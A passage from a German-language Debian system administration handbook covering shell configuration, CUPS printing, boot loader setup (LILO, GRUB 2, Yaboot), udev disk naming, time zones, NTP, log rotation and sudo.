Diese Funktion ist sehr mächtig und flexibel. Man kann ihr Verhalten in Abhängigkeit von jedem Befehl konfigurieren. So wird das erste Argument, das auf apt-get folgt, in Abhängigkeit von der Syntax dieses Befehls vorgeschlagen, selbst wenn es mit keiner Datei übereinstimmt (in diesem Fall sind die Auswahlmöglichkeiten install, remove, upgrade usw.).

ZURÜCK ZU DEN GRUNDLAGEN Die Tilde, eine Abkürzung für HOME

Die Tilde wird häufig zur Bezeichnung des Verzeichnisses verwendet, auf das die Umgebungsvariable HOME verweist (das Home-Verzeichnis des Benutzers, wie zum Beispiel /home/rhertzog/). Befehlsinterpreter ersetzen sie selbstständig: ~/hello.txt wird zu /home/rhertzog/hello.txt.

Die Tilde ermöglicht auch den Zugriff auf das Home-Verzeichnis eines anderen Benutzers. So ist ~rmas/bonjour.txt gleichbedeutend mit /home/rmas/bonjour.txt.

Zusätzlich zu diesen gemeinsamen Skripten kann jeder Benutzer zur Konfigurierung seiner Shell seine eigenen ~/.bashrc und ~/.bash_profile erstellen. Die häufigsten Veränderungen bestehen im Hinzufügen von Aliassen; dies sind Wörter, die bei der Ausführung eines Befehls automatisch ersetzt werden, was den Aufruf des Befehls beschleunigt. Zum Beispiel können sie den Alias la für den Befehl ls -la | less erstellen; dann brauchen Sie nur la einzugeben, um den Inhalt eines Verzeichnisses im Detail zu einzusehen.

ZURÜCK ZU DEN GRUNDLAGEN Umgebungsvariablen

Umgebungsvariablen ermöglichen es, globale Einstellungen für die Shell oder verschiedene andere aufgerufene Programme zu speichern. Sie sind zusammenhangsbezogen (jeder Prozess hat seinen eigenen Satz an Umgebungsvariablen) aber auch vererbbar. Letzteres eröffnet die Möglichkeit, für eine Anmeldeshell Variablen zu erklären, die an alle Programme, die sie ausführt, weitergegeben werden.

Das Setzen voreingestellter Umgebungsvariablen ist ein wichtiges Element der Shellkonfigurierung. Abgesehen von den für eine Shell spezifischen Variablen sollte man sie in der Datei /etc/environment ablegen, da diese von verschiedenen Programmen, die möglicherweise eine Shellsitzung starten, verwendet wird. Zu den normalerweise hier festgelegte Variablen gehören ORGANIZATION, die gewöhnlich den Namen des Unternehmens oder der Organisation enthält, und HTTP_PROXY, die das Vorhandensein und den Ort eines HTTP-Proxies anzeigt.

TIPP Alle Shells identisch konfiguriert

Benutzer möchten häufig ihre Anmeldeshell und ihre interaktive Shell auf gleiche Weise konfigurieren. Hierzu übertragen (oder „sourcen“) sie den Inhalt der Datei ~/.bashrc in die Datei ~/.bash_profile. Man kann dasselbe mit Dateien machen, die allen Benutzern gemein sind (indem man /etc/bash.bashrc von /etc/profile aus aufruft).

8.7. Druckereinrichtung

Die Druckereinrichtung verursachte gewöhnlich sowohl für Administratoren als auch für Benutzer erhebliche Kopfschmerzen. Diese Kopfschmerzen gehören inzwischen dank cups, dem freien Druckserver, der das IPP-Protokoll (Internet Printing Protocol) verwendet, weitgehend der Vergangenheit an.

Dieses Programm ist über mehrere Debian-Pakete verteilt: cups ist der zentrale Druckserver; cups-bsd ist eine Kompatibilitätsschicht, die die Verwendung von Befehlen des traditionellen BSD-Drucksystems ermöglicht (den Daemon lpd, die Befehle lpr und lpq usw.); cups-client enthält eine Gruppe von Programmen, die mit dem Server zusammenarbeiten (einen Drucker sperren oder freigeben, gerade stattfindende Druckaufträge anzeigen oder löschen usw.); und schließlich enthält cups-driver-gutenprint eine Sammlung zusätzlicher Druckertreiber für cups.

GEMEINSCHAFT CUPS

CUPS (Common Unix Printing System) ist ein Projekt (und eine geschützte Handelsmarke) unter der Verwaltung von Apple.

→ http://www.easysw.com/

Nach der Installation dieser verschiedenen Pakete wird cups einfach über ein Webinterface verwaltet, das unter der lokalen Adresse http://localhost:631/ erreichbar ist. Dort können Sie Drucker (auch Netzwerkdrucker) hinzufügen, entfernen und verwalten. Sie können cups auch über die grafische Oberfläche der Desktop-Umgebung verwalten. Schließlich gibt es noch die graphische Oberfläche system-config-printer (aus dem gleichnamigen Debian-Paket).

HINWEIS Veralterung von /etc/printcap

cups benutzt die jetzt veraltete Datei /etc/printcap nicht mehr. Programme, die sich auf diese Datei stützen, um eine Liste verfügbarer Drucker zu erhalten, versagen daher. Um dieses Problem zu vermeiden, sollten Sie diese Datei löschen und durch eine symbolische Verknüpfung (siehe ZURÜCK ZU DEN GRUNDLAGEN Symbolische Verknüpfungen in der Seitenleiste) zur Datei /var/run/cups/printcap ersetzen, die von cups beibehalten wird, um Kompatibilität zu gewährleisten.

8.8. Den Boot-Loader konfigurieren

Er funktioniert wahrscheinlich schon, aber trotzdem ist es immer empfehlenswert zu wissen, wie der Boot-Loader konfiguriert und installiert wird für den Fall, dass er aus dem Master Boot Record verschwindet. Dies kann nach der Installierung eines anderen Betriebssystems, wie zum Beispiel Windows, passieren. Die folgenden Informationen können auch dabei helfen, die Konfiguration des Boot-Loaders, falls nötig, zu verändern.

ZURÜCK ZU DEN GRUNDLAGEN Master Boot Record

Der Master Boot Record (MBR) belegt die ersten 512 Bytes der ersten Festplatte und ist die erste Sache, die vom BIOS geladen wird, um die Kontrolle an ein Programm zu übergeben, das in der Lage ist, das gewünschte Betriebssystem hochzufahren. Im allgemeinen wird der Boot-Loader in den MBR installiert und damit sein bisheriger Inhalt überschrieben.

8.8.1. Die Festplatten kennzeichnen

KULTUR udev und /dev/

Traditionell enthält das Verzeichnis /dev/ sogenannte „spezielle“ (Geräte-)Dateien, die dazu dienten, Peripheriegeräte des Systems zu darzustellen (siehe ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte in der Seitenleiste). Früher enthielt es alle möglicherweise benötigten Gerätedateien. Dieser Ansatz hat eine ganze Reihe von Nachteilen, wobei die Tatsache, dass die Anzahl der Geräte, die man nutzen konnte, (aufgrund der hart verdrahteten Namen in der Liste) beschränkt war und weil man nicht wissen konnte, welche Gerätedateien gebraucht würden.

Heute ist die Verwaltung der Gerätedateien vollständig dynamisch und passt besser zur "Hot-Swap"-Eigenschaft von Peripheriegeräten. Der Kernel kooperiert mit udev um sie zu erzeugen und zu entfernen, wenn die jeweiligen Geräte angeschlossen oder entfernt werden. Aus diesem Grund muss /dev/ nicht persistent (dauerhaft) sein und ist deshalb ein anfänglich leeres RAM-Dateisystem, das nur die benötigten Elementen enthält.

Der Kernel kommuniziert eine Unmenge von Informationen über jedes neu hinzugefügte Gerät und vergibt ein paar Kennungen um diese zu identifizieren. Mit diesen Informationen kann udevd die Gerätedatei mit dem gewünschten Namen und den benötigten Berechtigungen anlegen. Zusätzlich können Aliase angelegt und zusätzliche Aktionen (wie Initialisierungen oder Registrierungen) durchgeführt werden. Das Verhalten von udevd wird von einer großen Anzahl an Konfigurationsregeln bestimmt.

Mit dynamisch zugewiesenen Namen kann man den selben Namen für ein bestimmtes Gerät beibehalten, egal welcher Anschluss in welcher Reihenfolge verwendet wird, was gerade bei Verwendung verschiedener USB-Geräte besonders hilfreich ist. Die erste Partition auf der ersten Festplatte kann dann /dev/sda1 benannt werden, um rückwärts kompatibel zu sein, oder /dev/root-partition wenn gewünscht oder gar beides zur selben Zeit, da udevd so konfiguriert werden kann, dass eine symbolische Verknüpfung angelegt wird.

In alten Zeiten wurden einige Kernelmodule automatisch geladen, wenn Sie versuchten, auf die entsprechende Gerätedatei zuzugreifen. Dies ist nicht mehr der Fall, und die spezielle Datei des Peripheriegerätes existiert nicht mehr vor dem Laden des Moduls; das ist kein Problem, da die meisten Module dank der automatischen Hardwareerkennung beim Booten geladen werden. Für nicht erkennbare Peripheriegeräte (z.B. sehr alte Laufwerke oder PS/2-Mäuse) funktioniert dies jedoch nicht. Erwägen Sie, die Module, floppy, psmouse und mousedev zu /etc/modules hinzuzufügen, um sie beim Booten zu laden.

Die Konfiguration des Bootloaders muss die verschiedenen Festplatten und deren Partitionen identifizieren. Linux verwendet dazu die speziellen "Block"-Dateien, die im Verzeichnis /dev/ gespeichert sind. Seit Debian Squeeze wurde das Namensschema für Festplatten durch den Linux-Kernel vereinheitlicht, und alle Festplatten (IDE/PATA, SATA, SCSI, USB, IEEE 1394) werden nun durch /dev/sd* repräsentiert.

Jede Partition wird durch ihre Nummer auf der Platte, auf der sie liegt, dargestellt: so ist zum Beispiel /dev/sda1 die erste Partition auf der ersten Platte, und /dev/sdb3 ist die dritte Partition auf der zweiten Platte.

Die PC-Architektur (oder „i386“ und seine jüngere Kusine) war lange Zeit auf die Verwendung des "MS-DOS"-Partitionstabellenformats beschränkt, das nur vier „primäre“ Partitionen je Platte erlaubt. Um über diese Begrenzung hinauszugehen, muss eine von ihnen als „erweiterte“ Partition erstellt werden, die dann weitere „sekundäre“ Partitionen enthalten kann. Diese sekundären Partitionen werden von 5 aufwärts nummeriert werden. So könnte die erste sekundäre Partition /dev/sda5 sein, gefolgt von /dev/sda6 usw.

Eine weitere Einschränkung des MS-DOS-Partitionstabellenformats ist, dass es nur Festplatten bis zu einer Größe von 2 TiB zulässt, was bei aktuellen Festplatten zu einem echten Problem wird.

Ein neues Partitionstabellenformat namens GPT löst diese Einschränkungen bei der Anzahl der Partitionen (es erlaubt bis zu 128 Partitionen bei Verwendung von Standardeinstellungen) und der Größe der Festplatten (bis zu 8 ZiB, das sind mehr als 8 Milliarden Terabyte). Wenn Sie vorhaben, viele physische Partitionen auf derselben Festplatte zu erstellen, sollten Sie daher sicherstellen, dass Sie die Partitionstabelle im GPT-Format erstellen, wenn Sie Ihre Festplatte partitionieren.

Es ist nicht immer leicht sich zu merken, welche Platte mit welchem SATA-Controller verbunden ist, oder welche in der SCSI-Kette an dritter Position steht, vor allem, da sich die Benennung von im laufenden Betrieb austauschbaren Festplatten (zu denen unter anderem die meisten SATA-Platten und externen Platten gehören) von einem Hochfahren zum nächsten ändern kann. Zum Glück erstellt udev zusätzlich zu /dev/sd* symbolische Verknüpfungen mit festen Namen, die man dann verwenden kann, wenn man eine Festplatte unmissverständlich kennzeichnen möchte. Diese symbolischen Verknüpfungen sind in der Datei /dev/disk/by-id gespeichert. Auf einem Rechner mit zwei physischen Platten könnte man zum Beispiel folgendes finden:

mirexpress:/dev/disk/by-id# ls -ltotal 0
lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root  9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2
[...]
lrwxrwxrwx 1 root root  9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1
[...]
mirexpress:/dev/disk/by-id#

Beachten Sie, dass einige Platten mehrmals aufgeführt sind (da sie gleichzeitig als ATA-Platten und SCSI-Platten auftreten), aber die relevante Information besteht in erster Linie in den Modell- und Seriennummern der Platten, aufgrund derer man die Peripheriedatei finden kann.

Die in den folgenden Abschnitten als Beispiele benutzten Konfigurationsdateien basieren auf der gleichen Umgebung: eine einzelne SATA-Platte, auf der die erste Partition eine alte Windows-Installation, die zweite ein Debian GNU/Linux enthält.

8.8.2. LILO konfigurieren

LILO (LInux LOader) ist der älteste Boot-Loader - solide aber derb. Er schreibt die physische Adresse des zu ladenden Kernels in den MBR, weshalb im Anschluss an jede Aktualisierung von LILO (oder seiner Konfigurationsdatei) der Befehl lilo ausgeführt werden muss. Wenn man dies vergisst, ist das System nicht mehr in der Lage hochzufahren, falls der alte Kernel entfernt oder ersetzt worden ist, da sich der neue auf der Platte nicht an derselben Stelle befindet.

LILOs Konfigurationsdatei ist /etc/lilo.conf; eine einfache Datei für eine Standardkonfiguration ist in unten stehendem Beispiel wiedergegeben.

Beispiel 8.3. LILO-Konfigurationsdatei

# The disk on which LILO should be installed.
# By indicating the disk and not a partition.
# you order LILO to be installed on the MBR.
boot=/dev/sda
# the partition that contains Debian
root=/dev/sda2
# the item to be loaded by default
default=Linux

# the most recent kernel image
image=/vmlinuz
label=Linux
initrd=/initrd.img
read-only

# Old kernel (if the newly installed kernel doesn't boot)
image=/vmlinuz.old
label=LinuxOLD
initrd=/initrd.img.old
read-only
optional

# only for Linux/Windows dual boot
other=/dev/sda1
label=Windows

8.8.3. Konfigurierung von GRUB 2

GRUB (GRand Unified Bootloader) ist neueren Datums. Man muss ihn nicht nach jeder Kernelaktualisierung aufrufen; GRUB kann die Dateisysteme lesen und die Position des Kernels auf der Platte selbst finden. Um ihn in den MBR der ersten Platte zu installieren, geben Sie einfach grub-install /dev/sda ein.

HINWEIS Plattennamen für GRUB

GRUB kann Festplatten nur aufgrund von Informationen identifizieren, die vom BIOS bereitgestellt werden. (hd0) entspricht der ersten so erkannten Festplatte, (hd1) der zweiten usw. In den meisten Fällen entspricht diese Reihenfolge genau der üblichen Anordnung der Platten unter Linux, jedoch können Probleme auftreten, wenn man SCSI- und IDE-Platten verbindet. GRUB speichert Übereinstimmungen, die er entdeckt, in der Datei /boot/grub/device.map. Falls Sie darin Fehler finden (weil Sie wissen, dass Ihr BIOS Platten in einer anderen Reihenfolge erkennt), korrigieren Sie sie von Hand und führen dann nochmals grub-install aus. grub-mkdevicemap kann helfen, eine device.map Datei zu erstellen, von der aus gestartet werden soll.

Partitionen haben in GRUB ebenfalls besondere Namen. Wenn Sie „klassische“ Partitionen im MS-DOS-Format verwenden, wird die erste Partition auf der ersten Platte als (hd0,msdos1) gekennzeichnet, die zweite als (hd0,msdos2) usw.

Die Konfiguration von GRUB 2 ist in /boot/grub/grub.cfg gespeichert, aber diese Datei wird (in Debian) aus anderen erzeugt. Achten Sie daher darauf, sie nicht von Hand zu verändern, da derartige lokale Veränderungen bei der nächsten Ausführung von update-grub verloren gehen (was nach einer Aktualisierung verschiedener Pakete geschehen kann). Die häufigsten Veränderungen der Datei /boot/grub/grub.cfg (um zum Beispiel Befehlszeilen-Parameter zum Kernel hinzuzufügen oder die Anzeigedauer des Menüs zu ändern) werden durch die Variablen in der Datei /etc/default/grub vorgenommen. Um Einträge zum Menü hinzuzufügen, können Sie entweder eine Datei namens /boot/grub/custom.cfg erstellen oder die Datei /etc/grub.d/50_custom ändern. Für komplexere Konfigurationen können Sie andere Dateien im Verzeichnis /etc/grub.d ändern oder dort hinzufügen; diese Skripten sollten Konfigurationsausschnitte wiedergeben, möglicherweise unter Verwendung externer Programme. Die folgenden Skripten aktualisieren die Liste der zu ladenden Kernel: 10_linux berücksichtigt die installierten Linux-Kernel; 20_linux_xen beachtet virtuelle Systeme unter Xen, und 30_os-prober führt andere Betriebssysteme (Windows, OS X, Hurd) auf.

8.8.4. Für Macintosh-Computer (PowerPC): Yaboot konfigurieren

Yaboot ist der von alten Macintosh-Rechnern mit PowerPC-Prozessoren verwendete Boot-Loader. Sie fahren nicht wie PCs hoch, sondern stützen sich auf eine “Bootstrap“-Partition, von der aus das BIOS (oder OpenFirmware) den Loader ausführt, und auf dem das Programm ybin yaboot und seine Konfigurationsdatei installiert. Man muss diesen Befehl nur ein weiteres Mal ausführen, wenn /etc/yaboot.conf verändert wurde (sie liegt in Kopie auf der Bootstrap-Partition, und yaboot kann die Position des Kernels auf den Platten finden).

Bevor ybin ausgeführt wird, muss man zunächst eine gültige Version der Datei /etc/yaboot.conf haben. Das Folgende ist ein Beispiel einer minimalen Konfiguration.

Beispiel 8.4. Konfigurationsdatei für Yaboot

# bootstrap partition
boot=/dev/sda2
# the disk
device=hd:
# the Linux partition
partition=3
root=/dev/sda3
# boot after 3 seconds of inactivity
# (timeout is in tenths of seconds)
timeout=30

install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
enablecdboot

# last kernel installed
image=/vmlinux
label=linux
initrd=/initrd.img
read-only

# old kernel
image=/vmlinux.old
label=old
initrd=/initrd.img.old
read-only

# only for Linux/Mac OSX dual-boot
macosx=/dev/sda5

# bsd=/dev/sdaX and macos=/dev/sdaX
# are also possible

8.9. Weitere Konfigurationen: Zeitsynchronisation, Protokolle, Gemeinsamer Zugang…

Die zahlreichen in diesem Abschnitt aufgeführten Elemente sind für jeden wissenswert, der alle Aspekte der Konfigurierung eines GNU/Linux-Systems beherrschen möchte. Sie werden jedoch nur kurz behandelt, und häufig wird auf die Dokumentation verwiesen.

8.9.1. Zeitzone

ZURÜCK ZU DEN GRUNDLAGEN Symbolische Verknüpfungen

Eine symbolische Verknüpfung ist ein Verweis auf eine andere Datei. Wenn man auf sie zugreift, wird die Datei, auf die sie verweist, geöffnet. Die Entfernung der Verknüpfung führt nicht dazu, dass die Datei, auf die sie verweist, gelöscht wird. Ebenso hat sie nicht ihren eigenen Satz von Berechtigungen, sondern behält die Berechtigungen ihres Ziels bei. Und schließlich kann sie auf jede Art von Datei verweisen: Verzeichnisse, spezielle Dateien (Sockets, benannte Pipes, Gerätedateien usw.) und selbst auf andere symbolische Verknüpfungen.

Der Befehl ln -s ziel verknüpfungsname erstellt eine symbolische Verknüpfung namens verknüpfungsname, die auf ziel verweist.

Falls das Ziel nicht existiert, ist die Verknüpfung „gebrochen“, und der Zugriff darauf ergibt eine Fehlermeldung, die besagt, dass die Zieldatei nicht existiert. Falls die Verknüpfung auf eine andere Verknüpfung verweist, hat man eine „Kette“ von Verknüpfungen, die zu einem „Kreis“ wird, falls eines der Ziele auf einen seiner Vorgänger verweist. In diesem Fall führt der Zugriff auf eine der Verknüpfungen in diesem Kreis zu einer besonderen Fehlermeldung („too many levels of symbolic links“); das heißt, dass der Kernel nach einigen Runden des Kreises aufgegeben hat.

Die Zeitzone wird während der Erstinstallation eingestellt und ist ein Konfigurationspunkt für das Paket tzdata. Sie wird mit dpkg-reconfigure tzdata geändert, der es erlaubt, die gewünschte Zeitzone interaktiv auszuwählen. Seine Konfiguration wird in der Datei /etc/timezone gespeichert. Zusätzlich wird die entsprechende Datei aus dem Verzeichnis /usr/share/zoneinfo nach /etc/localtime kopiert; diese Datei enthält die Regeln, die die Dauer der Sommerzeit für jedes Land, das sie einsetzt, festlegt.

Wenn man die Zeitzone vorübergehend ändern muss, verwendet man die Umgebungsvariable TZ, die Vorrang vor der konfigurierten Voreinstellung des Systems hat:

$ date
Don Feb 19 11:25:18 CET 2015
$ TZ="Pacific/Honolulu" date
Don Feb 19 00:25:21 HST 2015

HINWEIS System-Uhr, Hardware-Uhr

Es gibt in einem Rechner zwei Zeitquellen. Die Hauptplatine eines Rechners verfügt über eine Hardware-Uhr, die sogenannte „CMOS-Uhr“. Diese Uhr ist nicht sehr genau und bietet nur recht langsame Zugriffszeiten. Der Kernel des Betriebssystems hat seine eigene Uhr, die sogenannte Software-Uhr, die mit ihren eigenen Mitteln richtig eingestellt bleibt (möglicherweise mit Hilfe von Zeitservern, siehe Abschnitt 8.9.2, „Zeitsynchronisierung“). Diese System-Uhr ist normalerweise genauer, vor allem da sie keinen Zugang zu Hardware-Variablen benötigt. Da sie jedoch nur im Arbeitsspeicher existiert, wird sie bei jedem Hochfahren des Rechners auf Null zurückgesetzt im Gegensatz zur CMOS-Uhr, die über eine Batterie verfügt und daher den Neustart oder das Abschalten des Rechners „überlebt“. Die System-Uhr wird daher während des Hochfahrens von der CMOS-Uhr gestellt, und die CMOS-Uhr während des Abschaltens aktualisiert (um mögliche Änderungen oder Korrekturen zu berücksichtigen, falls sie falsch eingestellt war).

In der Praxis entsteht ein Problem, da die CMOS-Uhr lediglich ein Zähler ist und keinerlei Informationen zur Zeitzone enthält. Bezüglich ihrer Interpretation ist daher eine Entscheidung zu treffen: entweder geht das System davon aus, dass sie in Weltzeit (UTC, früher GMT) läuft, oder in Ortszeit. Diese Entscheidung könnte zu einer einfachen Verschiebung führen, in Wirklichkeit sind die Dinge jedoch etwas komplizierter: aufgrund der Sommerzeit ist dieser Versatz nicht konstant. Daher hat das System keine Möglichkeit zu entscheiden, ob der Versatz korrekt ist, insbesondere nicht zu Zeiten der Zeitumstellung. Da es immer möglich ist, die Ortszeit aus der Weltzeit und der Information über die Zeitzone abzuleiten, empfehlen wir nachdrücklich, die CMOS-Uhr in Weltzeit zu verwenden.

Leider ignorieren Windows-Systeme in ihrer Standardeinstellung diese Empfehlung; sie halten die CMOS-Uhr auf Ortszeit und ändern beim Hochfahren des Rechners die Zeit, indem sie bei einer Zeitumstellung abschätzen, ob die Umstellung bereits stattgefunden hat oder noch nicht. Dies funktioniert solange relativ gut, wie auf dem System nur Windows läuft. Wenn ein Rechner jedoch mehrere Systeme hat (ob dies nun eine „Dual-Boot“-Konfiguration ist oder andere Systeme als virtuelle Rechner laufen), entsteht Chaos, ohne eine Möglichkeit zu entscheiden, ob die Zeit korrekt ist. Falls Sie Windows unbedingt auf einem Rechner behalten müssen, sollten Sie dieses so einstellen, dass die CMOS-Uhr auf UTC eingestellt wird (durch Einstellen des Registry-Schlüssel HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal vom Typ DWORD auf "1") oder indem Sie mit hwclock --localtime --set auf dem Debian System die Hardware-Uhr setzen und als Quelle für für die lokale Zeit festlegen (und sorgen Sie dafür, dass Ihre Uhr im Frühjahr und Herbst von Hand umgestellt wird).

8.9.2. Zeitsynchronisierung

Zeitsynchronisierung, die auf einem Rechner überflüssig erscheinen mag, ist in einem Netzwerk sehr wichtig. Da Benutzer keine Berechtigung zur Änderung des Datums und der Zeit haben, ist es wichtig, dass diese Information genau stimmt, um Verwirrung zu vermeiden. Außerdem können Informationen aus den Protokollen verschiedener Rechner besser aufeinander bezogen werden, wenn alle Rechner eines Netzwerks synchronisiert sind. Im Falle eines Angriffs ist es so einfacher, die zeitliche Abfolge der Ereignisse auf verschiedenen von der Störung betroffenen Rechnern zu rekonstruieren. Daten, die auf verschiedenen Rechnern zu statistischen Zwecken gesammelt werden, wären nicht sehr sinnvoll, wenn sie nicht synchronisiert wären.

ZURÜCK ZU DEN GRUNDLAGEN NTP

NTP (Network Time Protocol) ermöglicht es einem Rechner, sich mit anderen recht genau zu synchronisieren unter Berücksichtigung der Verzögerungen, die durch die Informationsübertragung über das Netzwerk und andere mögliche Verschiebungen entstehen.

Obwohl es im Internet zahlreiche NTP-Server gibt, können die bekannteren überlastet sein. Daher empfehlen wir, den NTP-Server pool.ntp.org zu benutzen, der in Wirklichkeit eine Gruppe von Rechnern ist, die laut Vereinbarung als öffentliche NTP-Server dienen. Sie können sogar die Benutzung auf eine für ein Land bestimmte Untergruppe beschränken, wie zum Beispiel de.pool.ntp.org für Deutschland oder at.pool.ntp.org für Österreich usw.

Wenn Sie jedoch ein großes Netzwerk verwalten, ist es empfehlenswert, Ihren eigenen NTP-Server zu installieren, der sich mit den öffentlichen Servern synchronisiert. Auf diese Weise können alle anderen Rechner in Ihrem Netzwerk Ihren internen NTP-Server benutzen, statt die Belastung der öffentlichen Server zu erhöhen. Sie steigern so auch die Homogenität Ihrer Uhren, da sich alle Rechner mit derselben Quelle synchronisieren und diese Quelle bezogen auf die Übertragungszeiten sehr nah ist.

8.9.2.1. Für Arbeitsplatzrechner

Da Arbeitsplatzrechner häufig neu gestartet werden (selbst wenn dies nur zur Energieersparnis dient), genügt es, sie beim Hochfahren über NTP zu synchronisieren. Hierzu installieren Sie einfach das Paket ntpdate. Bei Bedarf können Sie den verwendeten NTP-Server durch Änderung der Datei /etc/default/ntpdate wechseln.

8.9.2.2. Für Server

Server werden nur selten neu gestartet, und es ist sehr wichtig, dass ihre Systemzeit korrekt ist. Um dauerhaft die richtige Zeit beizubehalten, sollten Sie einen lokalen NTP-Server installieren, einen Dienst, der vom Paket ntp angeboten wird. In seiner voreingestellten Konfiguration synchronisiert sich dieser Server mit pool.ntp.org und stellt die Zeit auf Anfragen aus dem lokalen Netzwerk hin bereit. Sie können ihn konfigurieren, indem Sie die Datei /etc/ntp.conf editieren, wobei die wichtigste Änderung in dem NTP-Server besteht, an den er sich wendet. Falls das Netzwerk viele Server hat, könnte es von Interesse sein, einen lokalen Server einzurichten, der sich mit den öffentlichen Servern synchronisiert und der dann von den anderen Servern des Netzwerks als Quelle benutzt wird.

WEITERE SCHRITTE GPS-Module und andere Zeitquellen

Falls die Zeitsynchronisierung für Ihr Netzwerk besonders kritisch ist, können Sie einen Server mit einem GPS-Modul ausstatten (das die Zeit eines GPS-Satelliten verwendet) oder mit einem DCF-77-Modul (das die Zeit mit der Atomuhr in der Nähe von Frankfurt/Main synchronisiert). In diesen Fällen ist die Konfigurierung des NTP-Servers ein bisschen komplizierter und die vorherige Lektüre der Dokumentation eine absolute Notwendigkeit.

8.9.3. Protokolldateien rotieren

Protokolldateien können größer werden, und zwar schnell, und es ist wichtig, sie zu archivieren. Das häufigste System besteht in einem rotierenden Archiv: die Protokolldatei wird regelmäßig archiviert, und nur die letzten X Archivdateien aufbewahrt. logrotate, das für diese Rotationen zuständige Programm folgt den Anweisungen, die ihm in der Datei /etc/logrotate.conf und in allen im Verzeichnis /etc/logrotate.d/ befindlichen Dateien gegeben werden. Der Administrator kann diese Dateien verändern, falls er die von Debian festgelegten Richtlinien zur Protokollrotation anpassen möchte. Die Handbuchseite logrotate(1) beschreibt alle in diesen Konfigurationsdateien verfügbaren Optionen. Sie möchten vielleicht die Anzahl der in der Protokollrotation zurückbehaltenen Dateien erhöhen oder Protokolldateien in ein besonderes Verzeichnis verschieben, um sie zu archivieren statt zu löschen. Sie könnten sie auch per E-Mail verschicken, um sie andernorts zu archivieren.

Das Programm logrotate wird täglich durch das Termimsteuerungssprogramm cron ausgeführt (beschrieben in Abschnitt 9.7, „Aufgaben mit cron und atd zeitlich festlegen“).

8.9.4. Administratorrechte gemeinsam nutzen

Häufig arbeiten mehrere Administratoren am selben Netzwerk. Die Root-Passwörter gemeinsam zu nutzen, ist nicht sehr elegant und öffnet die Tür zu Missbrauch wegen der Anonymität, die eine derartige gemeinsame Nutzung schafft. Die Lösung dieses Problems besteht in dem Programm sudo, das es bestimmten Benutzern ermöglicht, bestimmte Befehle mit besonderen Rechten auszuführen. Im gewöhnlichsten Fall erlaubt sudo einem vertrauenswürdigen Benutzer die Ausführung jeden Befehls als Root. Hierzu führt der Benutzer einfach sudo befehl aus und authentifiziert sich dabei mit seinem persönlichen Passwort.

Wenn es installiert ist, gibt das Paket sudo volle Root-Rechte an Mitglieder der Gruppe sudo. Um andere Berechtigungen zu vergeben, muss der Administrator mit dem Befehl visudo die Konfigurationsdatei /etc/sudoers verändern (auch hier wird der Editor vi aufrufen oder ein anderer in der Umgebungsvariablen EDITOR definierter Editor). Das Hinzufügen einer Zeile mit benutzername ALL=(ALL) ALL ermöglicht es dem betreffenden Benutzer, einen beliebigen Befehl als Root auszuführen.

Komplexere Konfigurationen ermöglichen es, bestimmte Befehle nur bestimmten Benutzern zu erlauben. Alle Einzelheiten der verschiedenen Möglichkeiten werden auf der Handbuchseite sudoers(5) beschrieben.

8.9.5. Liste der Einhängepunkte

ZURÜCK ZU DEN GRUNDLAGEN Ein- und Aushängen

In einem unixähnlichen System wie Debian sind Dateien in einer einzelnen baumähnlichen Hierarchie von Verzeichnissen organisiert. Das Verzeichnis / wird „Wurzelverzeichnis“ genannt; alle weiteren Verzeichnisse sind Unterverzeichnisse dieser Wurzel. „Einhängen“ ist die Maßnahme, mit der der Inhalt eines Peripheriegerätes (häufig einer Festplatte) in den allgemeinen Dateienbaum des Systems einbezogen wird. Falls man eine separate Festplatte zur Speicherung der persönlichen Daten der Benutzer verwendet, muss diese Platte folglich in das Verzeichnis /home/ „eingehängt“ werden. Das Wurzelverzeichnis wird vom Kernel beim Hochfahren immer eingehängt; andere Geräte werden häufig später im Verlauf der Startsequenz eingehängt oder von Hand mit dem Befehl mount.

